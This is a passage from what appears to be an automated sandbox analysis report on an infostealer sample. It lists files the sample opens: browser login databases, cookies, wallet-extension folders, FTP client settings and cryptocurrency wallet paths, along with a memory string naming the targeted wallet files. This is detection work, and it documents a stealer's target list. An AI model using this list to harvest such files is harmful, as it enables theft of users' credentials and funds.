Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
